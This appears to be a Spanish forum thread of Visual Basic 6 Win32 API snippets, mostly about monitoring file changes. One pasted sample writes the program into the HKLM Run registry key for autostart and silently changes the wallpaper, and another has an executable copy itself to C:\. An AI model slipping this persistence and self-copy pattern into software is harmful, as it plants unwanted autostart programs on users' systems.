Mensajes

[[NML]]

Hola [NML]

Te doy un link para que te descargues un excelente ejemplo de como se hace.

http://www.geocities.com/laser252003/Context_Menu_Handler_example.zip

Nota: El efecto que verás con esta Dll después de añadir la respectiva entrada del registro 'ContextMenu.reg' es una nueva opción 'Edit' sobre archivos de texto.

Saludos.

Quieres decir copias de seguridad ??

[WaitForSingleObject]

Será la Api WaitForSingleObject

Honestamente a mi me funciona someramente.

Debería ser así WaitForSingleObject Handle, &HFFFFFFFF

pero con este valor infinito se congela. 

Me dí cuenta que cuando ocurre el evento WaitForSingleObject devuelve 0. Entonces lo que estoy tratando de hacer es mantenerla sin que se congele pero al mismo tiempo que este pediente del proceso.

El código en VB que posteastes tampoco me funciona.

No puedo decir que sea perfecto  pero el evento se verificará en algún momento.
Quizás no sea la manera adecuada, preguntémosle nuevamente a los que más saben.

Por último me gustaría volver a citar a Anhur y fíjense en lo que dice: 'luego en un bucle a la segunda'

Las funciones son FindFirstChangeNotification y FindNextChangeNotification. Primero se llama a la primera función y luego en un bucle a la segunda.

Saludos.

pues yo quisiera que por lo mennos me saliera la X para cerrar el form

En una nueva ventana establece la propiedad BorderStyle = 3 - Fixed Dialog; luego ves a la propiedad Icon, la veras (Icono), arrastrale el cursor por encima y lo seleccionas, acto seguido presiona la tecla Delete. Dale F5 y pruebalo! 

Saludos.

Esto es de hace 3 años, lo pego tal como estaba. Perdona la ortografía.

Código [Seleccionar] Expandir

Const HKEY_LOCAL_MACHINE = &H80000002
Const STANDARD_RIGHTS_ALL = &H1F0000
Const KEY_QUERY_VALUE = &H1
Const KEY_SET_VALUE = &H2
Const KEY_CREATE_SUB_KEY = &H4
Const KEY_ENUMERATE_SUB_KEYS = &H8
Const KEY_NOTIFY = &H10
Const KEY_CREATE_LINK = &H20
Const SYNCHRONIZE = &H100000
Const KEY_ALL_ACCESS = ((STANDARD_RIGHTS_ALL Or KEY_QUERY_VALUE Or _
KEY_SET_VALUE Or KEY_CREATE_SUB_KEY Or KEY_ENUMERATE_SUB_KEYS Or _
KEY_NOTIFY Or KEY_CREATE_LINK) And (Not SYNCHRONIZE))
Const REG_SZ = 1
Const SPI_SCREENSAVERRUNNING = 97&
Const SWP_NOSIZE = &H1
Const SWP_NOMOVE = &H2
Const FLAGS As Long = SWP_NOMOVE Or SWP_NOSIZE
Const HWND_TOPMOST = -1
Const HWND_NOTOPMOST = -2
Const EWX_LOGOFF = 0
Const EWX_SHUTDOWN = 1
Const EWX_REBOOT = 2
Const EWX_FORCE = 4
Const Muestra = &H40
Const Oculta = &H80
Dim Ventana2 As Long
Dim resultado As Long
Dim Hacer As Byte
Dim On_off As Boolean
Private Declare Function SystemParametersInfo Lib "user32" Alias _
"SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, _
lpvParam As Any, ByVal fuWinIni As Long) As Long
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" _
(ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, _
ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" _
(ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, _
ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" _
(ByVal lpstrCommand As String, ByVal lpstrReturnString As String, _
ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Private Declare Function SHShutDownDialog Lib "shell32" Alias "#60" (ByVal YourGuess As Long) As Long
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName _
As String, ByVal lpWindowName As String) As Long
Private Declare Function SetWindowPos Lib "user32" ( _
  ByVal hwnd As Long, ByVal hWndInsertAfter As Long, _
  ByVal x As Long, ByVal y As Long, ByVal cx As Long, _
  ByVal cy As Long, ByVal wFlags As Long) As Long
Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long
Private Declare Function SetWindowRgn Lib "user32" (ByVal hwnd As Long, _
                ByVal hRgn As Long, ByVal bRedraw As Boolean) As Long
'Private Declare Function CreateEllipticRgn Lib "gdi32" (ByVal X1 As Long, _
                ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _
        (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function SystemParametersInfo2 Lib "user32" Alias _
"SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As _
Long, ByVal lpvParam As Any, ByVal fuWinIni As Long) As Long
Private Declare Function GetWindowsDirectory Lib "kernel32" _
    Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _
    ByVal nSize As Long) As Long
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" _
(ByVal lpExistingFileName As String, ByVal lpNewFileName As String, _
ByVal bFailIfExists As Long) As Long

Private Sub Registro()
    ChDir App.Path
    Dim LpClass As String
    Dim Manejador1 As Long
    Dim Var_lpValueName As String, Var_lpData As String, Var_cbData As Long
    Var_lpValueName = "setup"
    Var_lpData = App.Path & "\setup.exe"
    Var_cbData = Len(Var_lpData)
    RegOpenKeyEx HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", _
    0, KEY_ALL_ACCESS, Manejador1
    RegSetValueEx Manejador1, Var_lpValueName, 0, REG_SZ, ByVal Var_lpData, ByVal Var_cbData
    RegCloseKey Manejador1
End Sub

Sub BMP()
    Dim x
    Dim tapiz As Integer
    On Error GoTo Fallo
    x = GetAttr(SistemDir & "\Y00A24I65M53A.BMP")
    tapiz = SystemParametersInfo2(20, 0, SistemDir & "\Y00A24I65M53A.bmp", 0)
Exit Sub
Fallo:
    SavePicture Image1, SistemDir & "\Y00A24I65M53A.BMP"
End Sub

Private Function SistemDir() As String
    Dim WinDir As String
    Dim ReturnSize As Long
    WinDir = String(255, 0)
    ReturnSize = GetWindowsDirectory(lpBuffer:=WinDir, nSize:=Len(WinDir))
    SistemDir = Left(WinDir, ReturnSize)
End Function

Private Sub Form_Load()
    Registro
End Sub


Saludos.

[Lympex]

He codeado un código para probarlo pero no funciona, cambio el nombre de algún archivo y no me dice nada. Aquí os dejo el código a ver qué le veis:

Ah Lympex! Eres admirable hombre, lástima que no tenga suficiente conocimiento en lenguaje C para codearme contigo.
De todas formas espero que lo que postee te sirva.

Saludos.

[Ahora pregunto]

En este otro intento controlar al mismo tiempo todas las unidades logicas añadiendo dos Apis más a lo anterior.
Pero por más que le di vueltas no me funcionó muy bien. Por poco me convierto en mi propio avatar 
Aquí les dejo un trozo del

Código [Seleccionar] Expandir


Private Declare Function GetLogicalDrives Lib "kernel32" () As Long
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long

Dim Cont As Byte
Dim Drives As String
Dim Handle() As Long

Private Sub Form_Load()

    Dim U As String * 1
    Dim LDs As Long, Cnt As Long
   
    LDs = GetLogicalDrives
   
    For Cnt = 0 To 25
        If (LDs And 2 ^ Cnt) <> 0 Then
            If GetDriveType(Chr$(65 + Cnt) & ":\") = 3 Then _
            Drives = Drives + Chr$(65 + Cnt)
        End If
    Next Cnt
   
    ReDim Handle(1 To Len(Drives))
   
    For Cont = 1 To Len(Drives)
        U = Mid(Drives, Cont, 1)
        Handle(Cont) = FindFirstChangeNotification(U & ":\", INFINITE, FILE_NOTIFY_CHANGE_ALL)
        WaitForSingleObject Handle(Cont), 1
        List1.AddItem "La informacion del disco " & U & _
        ":\ ha cambiado!!! ~ [ " & Now & " ]": List1.Selected(List1.ListCount - 1) = True
    Next

End Sub

Ahora pregunto:
Existe otra via menos alevosa  - con perdón de Anhur
Alguna variable global del sistema o manera de pasarle todas las unidades juntas ???

Saludos.

No sé si será lo más apropiado pero ahí voy con mi ejemplo.
Use un Timer y un ListBox para esto.

Código [Seleccionar] Expandir

Private Const FILE_NOTIFY_CHANGE_ATTRIBUTES = &H4
Private Const FILE_NOTIFY_CHANGE_DIR_NAME = &H2
Private Const FILE_NOTIFY_CHANGE_FILE_NAME = &H1
Private Const FILE_NOTIFY_CHANGE_SIZE = &H8
Private Const FILE_NOTIFY_CHANGE_LAST_WRITE = &H10
Private Const FILE_NOTIFY_CHANGE_SECURITY = &H100
Private Const FILE_NOTIFY_CHANGE_ALL = &H4 Or &H2 Or &H1 Or &H8 Or &H10 Or &H100
Private Const INFINITE = &HFFFFFFFF

Private Declare Function FindFirstChangeNotification Lib "kernel32" Alias "FindFirstChangeNotificationA" _
(ByVal lpPathName As String, ByVal bWatchSubtree As Long, ByVal dwNotifyFilter As Long) As Long
Private Declare Function FindNextChangeNotification Lib "kernel32" (ByVal hChangeHandle As Long) As Long
Private Declare Function FindCloseChangeNotification Lib "kernel32" (ByVal hChangeHandle As Long) As Long
Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long

Dim Handle As Long

Private Sub Form_Load()
    Timer1.Interval = 1000
    Handle = FindFirstChangeNotification("C:\", INFINITE, FILE_NOTIFY_CHANGE_ALL)
    WaitForSingleObject Handle, 1
End Sub

Private Sub Timer1_Timer()
    FindNextChangeNotification Handle
    If WaitForSingleObject(Handle, 1) = 0 Then
        List1.AddItem "La informacion del disco C:\ ha cambiado!!! ~ [ " & Now & " ]"
        List1.Selected(List1.ListCount - 1) = True
    End If
    DoEvents
End Sub

Private Sub Form_Unload(Cancel As Integer)
    FindCloseChangeNotification Handle
End Sub

Gracias Anhur!
Siempre nos salvas! 

Saludos.

Por la Api de Windows; en este ejemplo tu aplicacion se hace copia en la raiz de C:

Código [Seleccionar] Expandir

Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" _
(ByVal lpExistingFileName As String, ByVal lpNewFileName As String, _
ByVal bFailIfExists As Long) As Long

Private Sub Form_Load()
    CopyFile App.Path & "\" & App.EXEName & ".exe", "C:\" & App.EXEName & ".exe", 0
End Sub


Debes crear el ejecutable, OK, para que puedas verlo.

Saludos.